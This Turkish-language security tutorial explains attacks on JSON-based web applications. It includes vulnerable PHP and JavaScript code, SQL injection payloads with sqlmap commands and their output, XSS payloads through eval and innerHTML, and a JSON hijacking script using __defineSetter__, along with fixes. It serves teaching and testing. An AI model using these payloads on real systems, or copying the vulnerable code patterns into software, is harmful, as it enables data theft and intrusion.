JSON (JavaScript Object Notation) Güvenlik Denetimi

JSON (JavaScript Object Notation) uygulamalar veya servisler arası veri alışverişinde oldukça sık kullanılan bir formattır. Genellikle daha basit yapılı verilerin değişimi için XML’e alternatif olarak kullanılır. Özellikle AJAX kullanan web uygulamalarında, web servislerinde ve mobile uygulamalarda sıklıkla tercih edilir. JSON hakkında detaylı bilgi http://www.json.org/ adresinden edinilebilir.

JSON’ın sunucu ve istemci tarafında kullanımı halihazırda bulunan zafiyetlerin istismar ediliş şekillerini etkilerken, istemci tarafında başlıbaşına yeni zafiyetlere de sebep olabilmektedir. Sunucu tarafına örnek olarak JSON kullanan bir web uygulamasındaki SQLi zafiyetinin istismar edilmesi, istemci tarafında ise JSON üzerinden XSS ve JSON hijacking saldırıları ele alınmıştır.

JSON Formatında SQLi:
Örnek olarak json formatında “name” ve “cat” değerlerini alıp belirtilen kategorideki belirtilen isme benzer isimdeki ürünleri yine JSON formatında geri döndüren bir PHP sayfası ele alınmıştır. Kodun ilgili kısmı şu şekildedir:

$req = json_decode(file_get_contents(‘php://input’), true);
$qstring = “SELECT * FROM products WHERE name like ‘%”.$req[‘name’].”%’ and cat = “.$req[‘cat’];
$result = $conn->query($qstring);
if($result->num_rows > 0) {
       $ret_val = array();
       while($row = $result->fetch_assoc()) {
               $ret_val []= json_encode($row);
       }
   echo json_encode($ret_val);
}

Örnek uygulama veriyi sadece POST isteğiyle kabul etmektedir. Sayfaya yollanan veriyi değiştirmekte BurpSuite veya ZAP gibi araçlarla araya girme yöntemi kullanılabileceği gibi HTTP Requester benzeri tarayıcı eklentileriyle doğrudan istek de oluşturulabilir.

Firefox’un HTTP Requester eklentisi ile uygulamaya
POST http://192.168.41.135/json.php
Content-Type: application/json
{“name”:”pro”,”cat”:2}
isteği gönderildiğinde
200 OK
Date:  Sun, 21 Jul 2013 00:43:10 GMT
Server:  Apache/2.2.15 (CentOS)
X-Powered-By:  PHP/5.3.3
Content-Length:  107
Connection:  close
Content-Type:  text/html; charset=UTF-8
[“{“id”:”3″,”name”:”product3″,”cat”:”2″}”,”{“id”:”4″,”name”:”product4″,”cat”:”2″}”]
cevabı alınmaktadır. (Bundan sonraki isteklerde header bölümleri aynı olduğundan sadece veri kısmı yazılmıştır.)
Daha sonraki istekte “1 or 1=1″ payloadı kullanıldığında bütün kategorilerdeki verinin geri döndüğü görülüp SQLi zafiyeti tespit edilir.
İstek:
{“name”:”pro”,“cat”:”1 or 1=1”}
Cevap:
[“{“id”:”1″,”name”:”product1″,”cat”:”1″}”,”{“id”:”2″,”name”:”product2″,”cat”:”1″}”,”{“id”:”3″,”name”:”product3″,”cat”:”2″}”,”{“id”:”4″,”name”:”product4″,”cat”:”2″}”]
Dikkat edilmesi gereken bir nokta, “cat”:2 değeri tamsayı olarak gözükse de sunucu tarafında tamsayıya cast edilmesi gibi bir durum olmadığında “cat”:”1 or 1=1” şeklinde kullanılabilmektedir.

İstismar aşamasında manual devam edilebileceği gibi sqlmap kullanmak büyük hız kazandıracaktır. SQLmap’i JSON parametrelerinde kullanabilmek için örnek HTTP isteği JSON verisiyle beraber oluşturulup bir dosyaya kaydedilir. SQLmap’in isteği tanımlayabilmesi için aşağıdaki gibi standartlara uygun halde yazılması gerekir. Ayrıca isteğin herhangi bir payload içermemesine de dikkat edilmelidir.

req.txt:
POST /json.php HTTP/1.1
Host: 192.168.41.135
Content-Type: application/json
{“name”:”pro”,”cat”:1}
Daha sonra SQLmap -r /tamyol/req.txt parametresi ile çağırılır. SQLmap JSON verisinin parse edilip edilmeyeceğini sorduğunda onay verilir. Ctrl + c tuş kombinasyonunun ardından n tuşuna basarak zafiyet içermeyen parametrelerin test edilmeden geçilmesi zaman kazandıracaktır.
Test ortamında sqlmap -r /root/Desktop/req.txt -v 3  komutunun çıktısı şu şekilde olmuştur.

Place: (custom) POST
Parameter: JSON #2*
    …
    Type: UNION query
    Title: MySQL UNION query (NULL) – 4 columns
    Payload: {“name”:”pro”,”cat”:”1 UNION ALL SELECT NULL,CONCAT(0x716a6b7271,0x72447a624878734a4455,0x7161636971),NULL#”}
    Vector:  UNION ALL SELECT NULL,[QUERY],NULL#
    …

JSON Üzerinden XSS:
Bu örnekte, istemci tarafında, sunucudan dönen JSON formatındaki verinin doğrulama yapılmadan kullanılmasından doğan XSS zafiyetleri istismar edilmiştir. İstemci tarafındaki kodun ilgili kısmı şu şekildedir.

xmlhttp.onreadystatechange = function() {
       if (xmlhttp.readyState == 4 && xmlhttp.status == 200) {
               obj = eval(‘(‘+xmlhttp.responseText+’)’);
           document.getElementById(‘test’).innerHTML = obj.name;
       }
}
Kod görüldüğü üzere JSON verisini eval kullanarak parse edip sonuçta oluşan nesnenin içermesini beklediği “name” değerini “test” idsine sahip bir div elemanının içine yazıyor. Eval fonksiyonu gelen veriye herhangi bir filtre uygulanmadan kullanıldığından dolayı eğer sunucu tarafından gelecek veriye javascript kodu enjekte etmek mümkünse istemci tarafında istenilen kod çalıştırılabilir. Örneğin sunucu tarafından:
{“name”:”5″+alert(/BGA/.source)+”5″}    şeklinde bir veri dönerse, istemci tarafında ekranda BGA yazan bir alert görünecektir. Önlem olarak rfc4627’de (http://www.ietf.org/rfc/rfc4627.txt) önerilen filtreleme veya destekleyen tarayıcı versiyonları için JSON.parse(json) fonksiyonu kullanılabilir.

Bu örnekte XSS’e sebep olabilecek başka bir kullanım da nesnenin değerinin doğrudan HTML kodlarının arasına encode edilmeden basılmasıdır. Sunucu tarafından Javascript tetikleyen veya başka zararlı kodlar içerebilecek
{“name”:”5 <img src=x onerror=alert(/BGA/.source)>5″}    gibi HTML içeren bir cevap geldiğinde yine sonuç istismar edilebilir bir XSS olacaktır.

Eğer beklenen veri yorumlanması gereken HTML kodları içermiyorsa “innerHTML” yerine “innerText” veya “textContent” özelliklerinin kullanılması içerikteki HTML’in encode edilmesini sağlayarak bu tür bir zafiyeti önleyecektir.

JSON Hijacking:
JSON hijacking aslında bir çeşit Javascript hijacking yöntemidir. Sunucunun istemci tarafına JSON olarak yolladığı hassas verilerin ele geçirilmesini amaçlar. Örneğin bir kullanıcı “bank.com/webservice/bilgi” adresine onaylanmış bir token içeren bir istek gönderdiğinde geriye şu veriyi içeren bir cevap dönüyor olsun.

[{“id”:”100″,”hno”:”12341111111″,”bakiye”:”102.2″},
{“id”:”101″,”hno”:”44113455555″,”bakiye”:”102203.5″}]
Saldırıyı başlatabilmek için ilk olarak kullanıcının hijacking kodlarını içeren bir sayfaya bağlanması sağlanır. Bu aşamada çeşitli oltalama yöntemleri kullanılabilir. Hijack işlemini yapan sayfa temelde iki parçadan oluşur. İlki kullanıcının hassas veriyi çekmesini sağlayan
<script src=”http://bank.com/webservice/bilgi”> </script>    bölümdür. Bu aşamaya kadar olay aslında bir CSRF saldırısına benzer. İkinci bileşen olan JSON hijacking kodu eklendiğinde saldırı farklı bir yöne kayar.
<script type=”text/javascript”>
       Object.prototype.__defineSetter__(‘hno’, function(obj) {
alert(obj);
});
</script>
Kodu açıklamak gerekirse, genel bir nesne prototipi tanımlanıyor. Bu sayede herhangi bir nesneye ‘hno’ isminde bir özellik(attribute) tanımlanmaya çalışıldığında __defineSetter__ ile belirtilen fonksiyonun çağırılması sağlanıyor. Örnekte fonksiyon sadece veriyi ekrana bassa da gerçekte veriyi saldırganın kontrolündeki bir sunucuya kaydenen basit bir kod kullanılabilir.

JSON hijacking saldırsının başarılı olabilmesi için gerekli koşullar şu şekilde sıralanabilir.
  • Verinin alındığı web servisi GET isteklerine cevap veriyor olmalı.
  • Veri JSON dizisi şeklinde dönmeli. Yani en dışta [ ] şeklindeki parantezler olmalı.
  • Tarayıcı __defineSetter__ metodunu destekliyor olmalı ve Javascript aktif olmalı.
Not: Görece güncel tarayıcılarda bu saldırı çalışmayacaktır. Test için Firefox <= 3.0.11 veya Chrome <= 2.0.172.31 kullanılabilir.

Kaynaklar:
http://haacked.com/archive/2009/06/25/json-hijacking.aspx/
http://blog.spiderlabs.com/2012/09/json-hijacking-demystified.html
http://www.json.org/
http://www.ietf.org/rfc/rfc4627.tx

Onur ALANBEL <onur.alanbel@bga.com.tr>